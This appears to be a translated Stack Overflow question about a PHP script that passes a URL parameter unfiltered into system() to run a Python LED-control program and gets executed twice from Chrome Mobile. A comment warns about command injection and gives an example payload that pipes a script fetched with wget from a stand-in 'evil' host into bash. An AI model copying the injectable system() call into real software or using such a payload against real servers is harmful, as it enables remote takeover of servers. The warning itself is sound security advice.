PHP загружается дважды из Chrome при передаче определенного значения через URL-адрес

У меня странная проблема с простым скриптом php, который выполняет программу python, передавая ему один параметр. Вот script.php:

<?php
$t = $_GET['t'];
system("python /var/www/html/ledcontrol.py " . $t);
?> 

При загрузке этого скрипта из Chrome Mobile с t = 5 (/file.php?t=5) программа python всегда выполняется два раза подряд: в журнале доступа Apache я нахожу два доступа с разными IP-адресами. Вместо этого, если я установлю для т другое значение или использую другие браузеры, сценарий будет работать отлично. Как значение t = 5 может повлиять на поведение этого простого скрипта? Как я могу это исправить?

Большое спасибо!

stackoverflow.com/questions/4761913/… помогает?

Nico Haase 04.07.2018 14:57

Может у тебя в хроме есть какие-то аддоны? Это не проблема PHP, а проблема на стороне клиента. Вы можете отлаживать свой Chrome-мобильный на нашем телефоне с консоли Chrome для ПК. Попробуйте посмотреть сетевую активность клиента в chrome, когда вы запрашиваете скрипт php

Petya 04.07.2018 15:27

Обратите внимание, что вы бросаете определяемое пользователем значение непосредственно в вызов system() без фильтрации. Злонамеренный пользователь может легко взять под свой контроль ваш сервер, отправив такие запросы, как file.php?t=5 | wget -O - http://evil/script.sh | bash. Вы должны проверять все и любые вводимые пользователем данные перед их использованием.

Havenard 05.07.2018 19:11
Стоит ли изучать PHP в 2026-2027 годах?
Стоит ли изучать PHP в 2026-2027 годах?
Привет всем, сегодня я хочу высказать свои соображения по поводу вопроса, который я уже много раз получал в своем сообществе: "Стоит ли изучать PHP в...
Symfony Station Communiqué - 7 июля 2023 г
Symfony Station Communiqué - 7 июля 2023 г
Это коммюнике первоначально появилось на Symfony Station .
Оживление вашего приложения Laravel: Понимание режима обслуживания
Оживление вашего приложения Laravel: Понимание режима обслуживания
Здравствуйте, разработчики! В сегодняшней статье мы рассмотрим важный аспект управления приложениями, который часто упускается из виду в суете...
Установка и настройка Nginx и PHP на Ubuntu-сервере
Установка и настройка Nginx и PHP на Ubuntu-сервере
В этот раз я сделаю руководство по установке и настройке nginx и php на Ubuntu OS.
Коллекции в Laravel более простым способом
Коллекции в Laravel более простым способом
Привет, читатели, сегодня мы узнаем о коллекциях. В Laravel коллекции - это способ манипулировать массивами и играть с массивами данных. Благодаря...
Как установить PHP на Mac
Как установить PHP на Mac
PHP - это популярный язык программирования, который используется для разработки веб-приложений. Если вы используете Mac и хотите разрабатывать...
1
3
56
0

Другие вопросы по теме